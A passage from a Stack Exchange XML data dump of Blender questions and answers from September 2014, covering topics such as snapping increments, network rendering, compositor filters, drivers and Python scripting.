segfaults! Any insight?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, if there were a better way to monitor the user's actions than a modal operator, that would also solve my problem.&lt;/p&gt;&#xA;" OwnerUserId="5893" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2014-09-14T20:42:28.877" Title="Running Modal Operator from callback — segfault!" Tags="&lt;python&gt;&lt;operator&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15843" PostTypeId="1" CreationDate="2014-09-14T21:48:19.817" Score="0" ViewCount="142" Body="&lt;p&gt;I am having a problem with Blender since I started using it: when I have a solid object (for example a cube) I cannot zoom in &lt;strong&gt;inside&lt;/strong&gt; the surface; when I zoom in after the zoom reaches the surface it continues zooming in into the surface, but it never penetrates it. The only way to see inside the geometry is placing the camera inside and select the camera view. This problem happens equally in object and edit mode. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that my problem is not that the zoom cannot get any further, but rather that I cannot penetrate to enter the inside of a closed solid (like a cube). This is something very common, particularly in architectural design, where you often start with a cube and the scene happens inside the cube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course this problem is in no way a deal breaker for I can always place the camera in the right position and view through it, but that is rather limiting for I cannot get any other angle of the interior of my geometry than the camera angle; and besides it would be handy to be able to zoom in into the geometry before I set any camera; even to navigate to the adequate view and then set camera to view. I know this is possible for I see all the time in tutorials as a thing so basic that no explanation is required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anybody help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sept&lt;/p&gt;&#xA;" OwnerUserId="5606" LastEditorUserId="5606" LastEditDate="2014-09-14T22:21:17.533" LastActivityDate="2014-09-15T01:32:15.410" Title="problem zooming in inside geometry" Tags="&lt;interface&gt;&lt;3d-view&gt;" AnswerCount="0" CommentCount="5" ClosedDate="2014-09-15T01:32:26.137" ContentLicense="CC BY-SA 3.0" />
  <row Id="15844" PostTypeId="1" CreationDate="2014-09-14T21:59:53.540" Score="5" ViewCount="4249" Body="&lt;p&gt;Is there a way to use other computers that are sitting idle on my network to render my images? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From google, I've found &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Render/Performance/Renderfarm&quot;&gt;this project&lt;/a&gt;, however it appears that is designed to let everyone use your hardware, in exchange for using theirs. Also, there is no guarantee to how soon your project will start rendering. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a bunch of servers sitting around that were bit coin mining. Is there a way to use them for blender? &lt;/p&gt;&#xA;" OwnerUserId="1026" LastEditorUserId="1026" LastEditDate="2014-09-14T22:22:33.637" LastActivityDate="2016-01-05T09:43:28.250" Title="Render on more than one computer?" Tags="&lt;rendering&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15845" PostTypeId="1" CreationDate="2014-09-14T22:54:56.367" Score="6" ViewCount="4719" Body="&lt;p&gt;I have a character I need to scale for different scenes. I can't get the edited particle hair length/direction to scale with the mesh. It is at least emitting from the same location.  I've tried disconnecting the hair and applying scale on the mesh then re-attaching the hair but it doesn't make a difference.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the disconnect method seemed to work for edited hair on a cube with 'quick fur' attached but doesn't for my finished/rigged character. &lt;/p&gt;&#xA;" OwnerUserId="5908" LastActivityDate="2018-12-15T18:51:21.933" Title="Scaling hair with the mesh" Tags="&lt;mesh&gt;&lt;particles&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15846" PostTypeId="1" AcceptedAnswerId="15859" CreationDate="2014-09-14T23:18:39.017" Score="4" ViewCount="1276" Body="&lt;p&gt;I am a bit of a noob when it comes to blender but I'm trying to make a stealth game. So far I have made a mesh character and parented him to an armature. I also made a walk animation that works perfectly in the animation tab. However, when I try to play the animation in the BGE using the logic nodes by pressing &quot;W&quot; my character moves forward just like how I wanted it to, but it does not play the walk animation.&lt;br&gt;&#xA;I've made two walk animations named &lt;em&gt;Walk&lt;/em&gt; and &lt;em&gt;Walking.001&lt;/em&gt;. they're exactly the same but &quot;Walk&quot; prevents my character from moving and always returns the character to a specific position. I looked at many tutorials to fix this but no progress has been made.&lt;br&gt;&#xA;&lt;a href=&quot;http://www.pasteall.org/blend/31530&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; is the link to my game.&lt;br&gt;&#xA;If anyone can please tell me what to do so I don't come into this problem again, it would be very appreciated.&lt;/p&gt;&#xA;" OwnerUserId="5948" LastEditorUserId="2217" LastEditDate="2014-09-16T00:22:47.357" LastActivityDate="2014-09-16T00:22:47.357" Title="Walk cycle animation not working in blender game engine" Tags="&lt;animation&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15847" PostTypeId="1" AcceptedAnswerId="21510" CreationDate="2014-09-15T01:26:44.393" Score="22" ViewCount="38487" Body="&lt;p&gt;I would like to know how to change the increments used for snapping transforms.  This would be useful in a number of situations but my problem now is that when I change the units it does not scale the snapping increments to match.  So when holding down &lt;kbd&gt;ctrl&lt;/kbd&gt; the cube snaps from here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/J5n2q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/j9Saq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like it to snap to the 1 foot grid, or possibly any other amount I find useful.  It would also be nice to be able to change the rotation snap as well.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2017-01-13T22:03:56.593" Title="How to change the snapping increment in different units?" Tags="&lt;customization&gt;&lt;transforms&gt;&lt;snapping&gt;" AnswerCount="5" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15848" PostTypeId="2" ParentId="15847" CreationDate="2014-09-15T01:35:40.733" Score="13" Body="&lt;p&gt;If you hold &lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt; while snapping, then it will snap in smaller increments:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xqBl0.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or if you view from an aligned view such as top ortho (&lt;kbd&gt;Numpad 7&lt;/kbd&gt;), the snapping increments will be equal to the grid subdivisions (which change with zoom level):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pn4sb.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-09-15T02:33:06.080" LastActivityDate="2014-09-15T02:33:06.080" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15849" PostTypeId="2" ParentId="15839" CreationDate="2014-09-15T02:20:25.167" Score="2" Body="&lt;p&gt;You can try using a texture node to perform a uv distort on the image by applying the blend texture radial.&#xA;otherwise you would have to distort the real uv unwrap or possibly use a modifier to distort a mapped mesh in 3d view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;So I imported this plane into Blender as Add &gt; Mesh &gt; Images As Planes&#xA;Then add an empty and clear the location of both &quot;alt G&quot;&#xA;Select the image plane and add 2 modifiers.&#xA;1. Subsurf, use simple, increase divisions to 6&#xA;2. Add a simple Deform modifier set to Bend.&#xA;3. Set Origin as Empty, then enter Deform Angle as 360 deg.&#xA;4. alter empty location if required.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/VVff7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1218" LastEditorUserId="1218" LastEditDate="2015-03-11T06:22:23.010" LastActivityDate="2015-03-11T06:22:23.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15850" PostTypeId="2" ParentId="15835" CreationDate="2014-09-15T02:25:07.447" Score="2" Body="&lt;p&gt;Try the button refresh sequencer at the bottom of the vse timeline. Otherwise it maybe a curruption of a strip or its animation?  Are you using fcurve key frames as they might have gone wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you try copy and paste out sections of your edit to another scene. Then save it without the other scene. Maybe you can isolate the offending strip?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: my suggestion assumes external source media.&lt;/p&gt;&#xA;" OwnerUserId="1218" LastEditorUserId="1218" LastEditDate="2014-09-15T04:54:43.567" LastActivityDate="2014-09-15T04:54:43.567" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15851" PostTypeId="2" ParentId="14315" CreationDate="2014-09-15T03:30:32.560" Score="3" Body="&lt;p&gt;That was my problem, but I tried hitting &lt;kbd&gt;CTRL&lt;/kbd&gt; + &lt;kbd&gt;numpad 3&lt;/kbd&gt; or + &lt;kbd&gt;numpad 1&lt;/kbd&gt;. I just did that then it showed up. But, make sure you are in orthographic view, just hit &lt;kbd&gt;numpad 5&lt;/kbd&gt; to toggle between orthographic and perspective view. &lt;/p&gt;&#xA;" OwnerUserId="6046" LastEditorUserId="3710" LastEditDate="2015-05-23T09:10:34.280" LastActivityDate="2015-05-23T09:10:34.280" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15852" PostTypeId="1" CreationDate="2014-09-15T03:32:37.060" Score="3" ViewCount="2987" Body="&lt;p&gt;I am using blender 2.7 and the laptop mandates the &quot;Emulated Numpad.&quot; Upon attempting to use &quot;Proportional Editing&quot; in a &quot;Bound&quot; within the UV Editor while using projection process, I cannot use &quot;Proportional Editing&quot; while the attempt to grab with &lt;kbd&gt;G&lt;/kbd&gt;. The attempt simply moves the entire &quot;Bound.&quot; The only way I have been able to even move a vertex of the bound is to disable proportional editing. Any ideas? I have tried every imaginable hotkey combination.&lt;/p&gt;&#xA;" OwnerUserId="3313" LastEditorUserId="12" LastEditDate="2015-02-23T15:03:17.053" LastActivityDate="2020-07-22T15:56:10.763" Title="Proportional Editing and Laptop Problem" Tags="&lt;mesh&gt;&lt;transforms&gt;&lt;editing&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15853" PostTypeId="2" ParentId="15835" CreationDate="2014-09-15T04:49:53.093" Score="5" Body="&lt;p&gt;Some other suggestions for VSE performance enhancement:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Convert your video into image sequence (e.g. PNG), then reload them to VSE to replace the original video strip, which can solve many unknown problems caused by codecs.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use &lt;strong&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Sequencer/Usage#Proxy_Strip_Properties_Panel&quot; rel=&quot;nofollow&quot;&gt;Proxy&lt;/a&gt;&lt;/strong&gt; to speed up even further.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you are using scene strips, it is highly recommended to toggle &lt;strong&gt;Open GL Preview&lt;/strong&gt; (from the properties of the preview) for faster real-time preview.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can also consider setting priority for Blender process (e.g. in the task manager / resources monitor utility of your OS), which is generally not recommended unless necessary.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="696" LastEditorUserId="13452" LastEditDate="2015-11-11T04:31:59.343" LastActivityDate="2015-11-11T04:31:59.343" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15854" PostTypeId="2" ParentId="15830" CreationDate="2014-09-15T04:57:03.660" Score="0" Body="&lt;p&gt;New quicktime also allows you to record from builr in mic and camera on a mac.&lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2014-09-15T04:57:03.660" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15855" PostTypeId="2" ParentId="15562" CreationDate="2014-09-15T05:46:57.357" Score="8" Body="&lt;p&gt;It is possible by using drivers:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add an Empty object somewhere;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In its &lt;strong&gt;Object&lt;/strong&gt; panel, choose one Transform channel (such as Z Scale), type in &lt;code&gt;#frame&lt;/code&gt;, then hit &lt;kbd&gt;Enter&lt;/kbd&gt; to confirm. It will add a quick driver for the empty, make the Z scale value the same as the current frame number (e.g. If the current frame is 6, then the scale value will be driven to 6 automatically).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In &lt;strong&gt;Cycles Material&lt;/strong&gt; node editor, move the mouse cursor over the &lt;em&gt;Offset&lt;/em&gt; in Image Texture node, hit &lt;kbd&gt;D&lt;/kbd&gt; to add a driver.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open &lt;strong&gt;Graph Editor&lt;/strong&gt;, switch to &lt;strong&gt;Driver&lt;/strong&gt; mode, keep that node selected and you'll see the driver added. Set a variable based on the Z scale property of that Empty object. Type the expression like this: &lt;code&gt;variable_name * speed_fac&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For example, in the example below, I used the variable name as &lt;code&gt;var&lt;/code&gt; by default, and use 3 as speed factor, which means to make it playing 3X speed up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bs8f7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iIoDp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;It's recommended to control node-related drivers by object transform, which is the tricky part, due to the current dependency limit on nodes. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If The warning message occurs (as below), click &lt;strong&gt;Reload Trusted&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4uxhu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-09-15T05:59:21.733" LastActivityDate="2014-09-15T05:59:21.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15857" PostTypeId="2" ParentId="15844" CreationDate="2014-09-15T06:35:02.183" Score="5" Body="&lt;p&gt;You could use &lt;a href=&quot;https://www.sheepit-renderfarm.com/index.php&quot; rel=&quot;noreferrer&quot;&gt;Sheep it&lt;/a&gt; it provides services for collaborative rendering.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;You machines will render your own projects first.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When your machines render frames from other projects you earn credits, more credits increase the priority of your projects.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The service only accepts projects up to 500MB (including packed caches in a zip file).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the client-software can be run from a browser as Java-Applet (I had problems with the latest Java), therefore I would recommend to use the alternative to download a standalone client.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.sheepit-renderfarm.com/faq.php&quot; rel=&quot;noreferrer&quot;&gt;FAQ&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;If want to try it and would like to have working scripts to start the client, leave a message and I will add them here.&lt;/p&gt;&#xA;&lt;h3&gt;Network Render&lt;/h3&gt;&#xA;&lt;p&gt;Blender has an addon for Network Rendering in order to use it you can enable it in the &lt;em&gt;User Preferences&lt;/em&gt;:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/GWp9R.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Performance/Netrender&quot; rel=&quot;noreferrer&quot;&gt;Manual&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Performance/Netrender/WebInterface&quot; rel=&quot;noreferrer&quot;&gt;Web Interface&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=CuerYVXsI7A&quot; rel=&quot;noreferrer&quot;&gt;Video&lt;/a&gt;, &lt;a href=&quot;https://www.youtube.com/watch?v=VOjQET1hAEQ&quot; rel=&quot;noreferrer&quot;&gt;tutorials&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-09-15T06:46:08.563" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15858" PostTypeId="1" CreationDate="2014-09-15T07:16:09.353" Score="3" ViewCount="766" Body="&lt;p&gt;I am making a steam shovel model and trying to do a simple rig with no bones. I threw on a pivot constraint so that I could move the main arm and still have it rotate around an axis. It works great, but now when I try to move the whole machine (ie. turn it on the z-axis), it goes kind of crazy. Here are some pictures to show what I mean: &lt;img src=&quot;https://i.imgur.com/B3buy8F.png&quot; alt=&quot;1&quot;&gt;&lt;img src=&quot;https://i.imgur.com/71B3nZp.png&quot; alt=&quot;2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I have &quot;Always&quot; selected for the &quot;Pivot When:&quot; option. I tried changing this to just the Y-axis to no avail, so that is not the answer. For those curious, &lt;a href=&quot;http://www.pasteall.org/blend/31581&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; is the .blend file&lt;/p&gt;&#xA;" OwnerUserId="3326" LastActivityDate="2016-10-29T19:14:21.787" Title="I am having issues with the pivot constraint" Tags="&lt;rigging&gt;&lt;constraints&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15859" PostTypeId="2" ParentId="15846" CreationDate="2014-09-15T07:19:22.173" Score="0" Body="&lt;p&gt;This is caused by the &lt;em&gt;Mirror Modifier&lt;/em&gt; and modifier order, to fix it apply the mirror and&#xA;change the order so that it looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/C4Gxj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-09-15T07:19:22.173" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15860" PostTypeId="2" ParentId="15844" CreationDate="2014-09-15T07:39:55.987" Score="5" Body="&lt;p&gt;If you can connect all the machines to the same filesystem, whether physically or with something like &lt;a href=&quot;http://en.wikipedia.org/wiki/SSHFS&quot; rel=&quot;nofollow noreferrer&quot;&gt;sshfs&lt;/a&gt;, then you can use the &lt;em&gt;placeholders&lt;/em&gt; and &lt;em&gt;overwrite&lt;/em&gt; options to create a simple renderfarm.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Set all the blender instances to output to the same shared directory.  Presumably you'd have one blender instance per machine, but you can have more (e.g. one for CPU one for GPU).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Disable &lt;em&gt;overwrite&lt;/em&gt; so that blender won't render frames for which files already exist in the output directory.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &lt;em&gt;placeholders&lt;/em&gt; so that an empty file is created when blender starts rendering a frame, &quot;reserving&quot; that frame so that blender instances with &lt;em&gt;overwrite&lt;/em&gt; disabled will automatically skip it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZUcoZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Start all rendering on all instances.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If everything is set up properly, instances will skip frames which are already rendered or being rendered by other instances.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2016-01-05T09:43:28.250" LastActivityDate="2016-01-05T09:43:28.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15862" PostTypeId="1" AcceptedAnswerId="15863" CreationDate="2014-09-15T08:11:36.887" Score="7" ViewCount="1689" Body="&lt;p&gt;how can I Achieve a high pass filter like that one in photoshop with the blender compositor&lt;/p&gt;&#xA;" OwnerUserId="5794" LastActivityDate="2014-09-15T08:26:11.337" Title="Achieve a high pass filter in blender compositor?" Tags="&lt;compositor&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15863" PostTypeId="2" ParentId="15862" CreationDate="2014-09-15T08:19:15.560" Score="7" Body="&lt;p&gt;By using these instructions &lt;a href=&quot;http://en.wikipedia.org/wiki/High-pass_filter#Image&quot; rel=&quot;noreferrer&quot;&gt;from wikipedia&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yR224.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yR224.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want, then you can create a reusable &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Composite_Nodes/Node_Groups&quot; rel=&quot;noreferrer&quot;&gt;node group&lt;/a&gt; by selecting the nodes and pressing &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vrs1z.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vrs1z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-09-15T08:26:11.337" LastActivityDate="2014-09-15T08:26:11.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15864" PostTypeId="2" ParentId="15813" CreationDate="2014-09-15T09:10:05.700" Score="1" Body="&lt;p&gt;So apparently this was an issue with the .blend I was working with. I appended everything to a new blend and then used the code, this time it worked as intended.&lt;/p&gt;&#xA;" OwnerUserId="6020" LastActivityDate="2014-09-15T09:10:05.700" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15865" PostTypeId="1" AcceptedAnswerId="15868" CreationDate="2014-09-15T09:53:11.967" Score="5" ViewCount="13777" Body="&lt;p&gt;I want to apply a transparent texture to an emssion node in a way that the the emission node will emit just from the not transparent parts of the image texture.  How to achieve this effect ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here' s a Picture of it&#xA;&lt;img src=&quot;https://i.stack.imgur.com/SHVB7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5980" LastEditorDisplayName="user1853" LastEditDate="2014-09-15T18:15:17.390" LastActivityDate="2014-09-15T18:15:17.390" Title="How to do transparent textures on Emission node in Blender Cycles" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ClosedDate="2014-09-21T09:05:28.183" ContentLicense="CC BY-SA 3.0" />
  <row Id="15866" PostTypeId="1" CreationDate="2014-09-15T12:07:39.837" Score="0" ViewCount="914" Body="&lt;p&gt;I am writing a addon that shows the currently available shourtcut keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment I am filtering the availalble shortcuts via the bpy.context region and space data and comparing those to the settings for each shortcut. &#xA;I then poll each one to see if it can be called in the current context. &#xA;After all this I am still getting shortcuts in the list that are not actually relevant to the current context. &#xA;I am thinking this is because the active object is in a different scope/context which the C code is filtering out but I can't work out how to do this filtering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I could find which space the active object is in and if that was the same as the current space then show those shortcuts otherwise don't.&#xA;I can't seem to find out how to find the context of the active object rather than just the current context.&#xA;I hope I have been clear enough here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yardie&lt;/p&gt;&#xA;" OwnerUserId="5899" LastActivityDate="2014-09-15T12:07:39.837" Title="Get context of the active object" Tags="&lt;python&gt;" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="15867" PostTypeId="2" ParentId="15852" CreationDate="2014-09-15T12:29:49.457" Score="2" Body="&lt;p&gt;Proportional editing effects all items within a sphere of influence. If the sphere is very large then everything appears to move the same amount.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The two standard methods of adjusting this size are mouse scroll wheel and &lt;kbd&gt;page up&lt;/kbd&gt;/&lt;kbd&gt;page down&lt;/kbd&gt;. For a laptop there is also a trackpad pan setup, I believe apple trackpads do panning with a two finger swipe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you still have trouble you can modify this shortcut yourself, you can find it by going to the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Preferences/Input&quot; rel=&quot;nofollow noreferrer&quot;&gt;user preferences-&gt;Input&lt;/a&gt;, down the bottom of the list there is a group called 'Transform Modal Map' expand that and you will find Increase Proportional Influence and Decrease Proportional Influence for both keyboard and mouse, you can change these to any key combination that works for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5FNT3.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-09-15T12:29:49.457" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15868" PostTypeId="2" ParentId="15865" CreationDate="2014-09-15T13:08:41.330" Score="8" Body="&lt;p&gt;Are you going for something like this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/F0fTT.png&quot; alt=&quot;Glow with transparency&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, then it's as simple as someonewithpc said, just an &lt;em&gt;Emission&lt;/em&gt; shader mixed with a &lt;em&gt;Transparent&lt;/em&gt; shader using the texture for the &lt;em&gt;Fac&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2014-09-15T13:08:41.330" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15869" PostTypeId="1" CreationDate="2014-09-15T14:03:53.010" Score="0" ViewCount="792" Body="&lt;p&gt;I seem to have lost my keyframes from the timeline. They're still there on the dope sheet and dragging the frameline in the timeline still plays animation ok in viewport but I can no longer see the keyframes on the timeline. Everything is selected on the dope sheet and in the timeline view 'show only selected channels is unckecked (although this seems to make no difference anyway). What on earth have I done?&#xA;Thnx,&#xA;/gary&lt;/p&gt;&#xA;" OwnerUserId="5940" LastActivityDate="2014-09-15T18:47:08.557" Title="lost keyframes from timeline" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15870" PostTypeId="1" CreationDate="2014-09-15T14:08:01.410" Score="0" ViewCount="231" Body="&lt;p&gt;I did a small simulation using ridig bodies. I would like to write (possibly to a file) the location of each object for a specified frame. Objects are spheres with different radii.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a small script to print the location on the command line, but it doesn't seem to work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sphere=bpy.data.objects['Sphere01']&#xA;bpy.context.scene.frame_set(50)&#xA;print(sphere.location)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It always returns the location corresponding to the initial frame (start).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help?&lt;/p&gt;&#xA;" OwnerUserId="6049" LastActivityDate="2014-09-15T16:37:06.337" Title="Export location" Tags="&lt;scripting&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15871" PostTypeId="2" ParentId="15869" CreationDate="2014-09-15T14:21:05.847" Score="1" Body="&lt;p&gt;I think the object which the keyframes are on was not selected in the viewport.&lt;/p&gt;&#xA;" OwnerUserId="5940" LastEditorUserId="599" LastEditDate="2014-09-15T18:47:08.557" LastActivityDate="2014-09-15T18:47:08.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
